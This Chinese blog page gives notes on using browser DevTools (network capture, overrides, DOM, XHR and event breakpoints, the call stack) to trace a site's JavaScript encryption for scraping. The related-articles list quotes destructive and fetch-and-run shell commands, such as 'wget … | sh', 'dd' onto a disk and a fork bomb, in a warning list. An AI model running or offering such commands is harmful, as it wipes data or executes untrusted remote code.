zypcy

news2024/11/29 5:48:16

一、浏览器调试

1、elements

在这里插入图片描述
在这里插入图片描述

2、Network

用于抓包
在这里插入图片描述Preserve log:保留日志,所有日志都会被保留,而不是被覆盖,刷新前刷新后的日志都会被保留
Disable cache:禁止缓存,保证每次变化都是从服务器请求的数据,而不是本地缓存的数据
△:这两个可以勾选上
在这里插入图片描述
此处的筛选只能筛选name的元素(文件名)
在这里插入图片描述 Request URL:请求地址
Request Method:请求协议post/get
Remote Address:如果端口是443的话,则说明是HTTPS协议
Status Code:状态码
Referrer Policy:来源页面政策,可以不用管
在这里插入图片描述HTTP/1.1:协议版本,1.1
set-cookie:cookie

Request Headers
Accept:本地可接受的格式
Accept-Encoding:gzip会不会使用gzip压缩
Cookie:本地发给服务器的Cookie

在这里插入图片描述Cookie:Request Cookies是当前已经存在的包,Response Cookies是服务器返回的包
在这里插入图片描述
initiator:可以看到什么JS请求,也可以看出这个请求的发起人
一条http请求,发起人有以下几种:
①浏览器发起
②自己发起:自己构造http,send js

可以点击waterfall,跟随时间轴来分析
在这里插入图片描述对包右键可以呼出菜单
open in Sources panel:可以直接打开对应的资源面板
copy:可以copy对应的字符,包括request
在这里插入图片描述

sources

overrides:可以对现有js资源进行重写覆盖
在这里插入图片描述对js的包,右键选中open in source panel或者save as
在这里插入图片描述

在这里插入图片描述
snippets可以编写一个临时的JS脚本,点击右下方的Ctrl+enter执行一次
可以影响整个页面

在这里插入图片描述
在这里插入图片描述
打断点
在这里插入图片描述

在这里插入图片描述按钮用法
暂停
逐方法运行
进入方法运行(逐语句运行)
返回调用的位置
逐语句运行(和第三个按钮一样)
禁用/启用用户断点

在这里插入图片描述
pause on caught exceptions:异常捕获,如果有异常,进入断点
右键可以设置断点属性,或者过滤断点

watch

在这里插入图片描述
监听变量,可以实时刷新

作用域

在这里插入图片描述

console

在这里插入图片描述
可以输出日志

开隐身可以避免一些反爬

application

在这里插入图片描述
浏览器的一些存储功能

本地运行JS,得到和浏览器一样的加密数据,目标是拿到JS整个加密过程

1、能对网站JS进行调试,
1.1、能修改js运行当中的一些变量的值,能输出,
1.2、能下断点
1.3、智能侦听值
断点
DOM断点
DOM事件断点
xhr断点:发包断点
代码行断点
代码断点:源码中的debugger
全局事件断点:浏览器事件断点
异常捕获断点

DOM断点

DOM断点:在source中→审查元素→右键break on→选中其中一个modification
渲染(样子有变化)才进入断点
在这里插入图片描述
网站代码运行时间轴
加载html 加载js - 运行js初始化 - 用户触发某个事件 - 调用了某段js - 执行js加密(加密函数) - 请求服务器(send)[XHR-SEND] - 接收服务器返回数据 - 执行js解密(解密函数) - 刷新网页渲染

DOM断点:距离加密函数比较远(属于"用户触发某个事件"),无法根据栈去快速定位,但是会定位得比较准(不太推荐)

DOM事件断点:Element→Event Listeners
如果DOM断点不能下断,就可以用DOM事件 和 DOM断点一致
在这里插入图片描述
去掉ancestors可以看到当前的元素事件(所选的审查元素)

XHR断点:Sources→XHR/fetch Breakpoints
执行的比较靠后,距离加密函数相对比较近,可以根据栈快速定位
非xhr发送的不能断
在这里插入图片描述全局事件断点:sources→event listener breakpoints→create canvas context(画布捕获[验证码/滑块])
在这里插入图片描述
异常捕获断点:srouces→breakpoints→勾选pause on caught exceptions→在代码行的左边三小点,可以设置为false,不再捕获

XHR断点

把url其中的一段复制到XHR/fetch breakpoints里,如果出现发送改url的事件,就会进入断点

在这里插入图片描述

方法栈

方法的调用流程
在上面进入XHR/fetch breakpoints断点后,就能够进入call stack方法栈
在这里插入图片描述
在这里插入图片描述

加载html,加载js→运行js初始化→加密函数→给服务器发信息

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1815695.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

海洋CMS /js/player/dmplayer/dmku/ SQL注入漏洞复现(CVE-2024-29275)

0x01 产品简介 海洋CMS是一套专为不同需求的站长而设计的内容管理系统,灵活、方便、人性化设计、简单易用是最大的特色,可快速建立一个海量内容的专业网站。海洋CMS基于PHPMySql技术开发,完全开源免费 、无任何加密代码。 0x02 漏洞概述 海…

SAP 中的Incoterms国际贸易条款术语解释

之前写代码建交货单的时候总是会遇到这个字段,通常我们可能会填FOB或者CIF或者其他,但并不清楚这些都是什么意思,偶然间看到一篇帖子对此作了解释,也记录分享一下。 原文地址: Incoterms|FOB、CFR和CIF&a…

pom学习笔记:kimi的自动化操作

1.先看结构: 声明:我是初学,可能有不合理的地方。 2.Base层。 我是把原来一个kimi的自动问答的代码改过来。 分析:其实我是新手,因为我用的浏览器是固定的,也没有打算和别人用。所以浏览器层面年的全部写…

C语言,struct 结构体、union共用体的使用

//状态字节,根据数据定义几个标志,标志位依据联合体内部结构体进行变量定义 //目的,节省内存空间,省去特定字节 struct STATDATA {union{unsigned char stat;struct {unsigned stat0:1;unsigned stat1:1;unsigned stat2:1;unsign…

rtl8723du android5.1 6818 (wifi 部分)(第三部分)

这部分主要就是 应用了。具体的详细框架 在 android4.4 部分写的差不多的。 之前板卡依然是使用的 mt6620 ,所以在移植的过程中,需要把之前的 wifi 的驱动一点一点的去掉。 1 kernel 的修改。 将驱动拷贝到 wireless 下。 修改Kconfig 修改Makefile 2 驱动的Makefile 的修改…

塬号星球项目介绍

开发时间:2024 . 02~ 至今 已经部署上线(可以在微信里搜索“塬号星球”),仍在完善阶段。 塬号星球——周边信息社交生活服务平台 项目介绍:项目主要是针对于在大学有流量却不知道该如何变现的朋友,比…

Oracle最终会扼杀MySQL?(译)

原文网站:https://www.percona.com/blog/is-oracle-finally-killing-mysql/ 作者:Peter Zaitsev 自从Oracle收购了MySQL后,很多人怀疑Oracle对开源MySQL的善意,这篇percona的文章深入分析了Oracle已经和将要对MySQL采取的措施&a…

欢乐钓鱼大师攻略:buff大全讲解,云手机托管使用教程!

《欢乐钓鱼大师》是一款充满趣味与挑战的钓鱼模拟游戏。在这款游戏中,玩家不仅能够体验到钓鱼的乐趣,还需要通过策略性地收集与使用不同的钓鱼装备来提升自己的钓鱼技巧和效率。本文将为你提供一份详细的游戏攻略,帮助你在游戏中轻松上手并快…

CNS-BL30H系列直流无刷电机驱动器|电机参数配置方法

CNS-BL30H系列直流无刷电机驱动器|电机包含CNS-BL30HB、CNS-BL30HDN、CNS-BL30HSN,采用一驱二设计,可以同时驱动两个小于48V/1000W的直流无刷电机,体积小巧,安装方便,接线快捷,本文重点介绍CNS-BL30H系列直…

什么是 URL 过滤?是如何保障浏览体验的?

互联网是一个无边无际的空间,几乎包含了你能想象到的一切。不幸的是,这意味着也存在着从不合适到非常危险的网站。这就是 URL 过滤可以发挥作用的地方。 一、URL 过滤的含义 我们希望您已经熟悉 URL(统一资源定位器),…

Non-aligned Supervision for Real Image Dehazing

原文链接:https://www.semanticscholar.org/paper/Non-aligned-supervision-for-Real-Image-Dehazing-Fan-Guo/7595d39e71ae58343e8728fc1af0e18ffe38218b 数据集:https://www.cityscapes-dataset.com/ 真实的图像去雾的非对准监督 摘要 由于天气条件…

【Linux】手残党必学,再也不用跑路了

目录 🚨危险命令,请勿靠近TAT🖋️rm –rf🖋️){:|:&};:🖋️mv 指定的文件夹 /dev/null🖋️wget http://malicious_source -O- | sh🖋️dd if/dev/random of/dev/sda🖋️隐藏命令…

国标GB28181安防视频监控EasyCVR平台级联时上级平台不显示通道是什么原因?

国标GB28181安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台部署轻快,可支持的主流标准协议有GA/T 1400、国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。 有用户反馈&#xff…

蓝牙芯片TD5322A,蓝牙5.1数传芯片介绍—拓达半导体

蓝牙芯片原厂,拓达芯片TD5322A是一颗支持蓝牙BLE和SPP的数传芯片,蓝牙5.1版本。芯片的优点是尺寸小(SOP-8封装),性能强,价格低,以及简单明了的透传和串口AT控制功能,大大降低了在其它电子产品中…

java版spring cloud 深入探究ERP管理系统源码:功能模块详解与操作流程梳理

随着数字化转型的深入,企业对于高效、稳定且具有扩展性的管理系统的需求日益增加。为此,我们开发了一套基于Java技术的鸿鹄ERP管理系统,该系统整合了Spring Cloud Alibaba、Spring Boot、MybatisPlus、Redis等前沿技术,并采用了VU…

XmanagerXShell软件下载及安装教程

​XManager企业版是一款完整的企业网络连接套件,它配备了一个高性能的PC服务器,安全终端模拟器,是一个一体化的解决方案,将xmanager,xshell,xftp,xlpd,Xbrowser及xstart放置在一个软…

maven版本

一、快照版本SNAPSHOT和发布版本RELEASE区别 快照版本SNAPSHOT和发布版本RELEASE区别-CSDN博客 在使⽤maven过程中,我们在开发阶段经常性的会有很多公共库处于不稳定状态,随时需要修改并发布,可能⼀天就要发布⼀次,遇到bug时&am…

【ETAS CP AUTOSAR基础软件】BswM模块详解

文章包含了AUTOSAR基础软件(BSW)中BswM模块相关的内容详解。本文从AUTOSAR规范解析,ISOLAR-AB配置以及模块相关代码分析三个维度来帮读者清晰的认识和了解BswM这一基础软件模块。文中涉及的SOLAR-AB配置以及模块相关代码都是依托于ETAS提供的…

扩散模型ddpm原理

扩散模型ddpm原理 bilibili 视频讲解 笔记记录 总结:模型反向还原过程中,除模型推理得到噪声预测,还需要从标准正太分布中采样一份噪声,两者的线性组合得到前一时刻的降噪结果,这里可能会有较大的不确定性(对于生成式任…

2024最新最全【大模型】人工智能零基础入门到精通,看完这一篇就够了!

大模型技术是一个涉及人工智能、机器学习、深度学习等多个领域的复杂课题。学习大模型技术通常需要以下几个步骤: 基础知识学习:首先,需要掌握计算机科学、数据结构和算法的基础知识。此外,对线性代数、概率论和统计学有一定的理…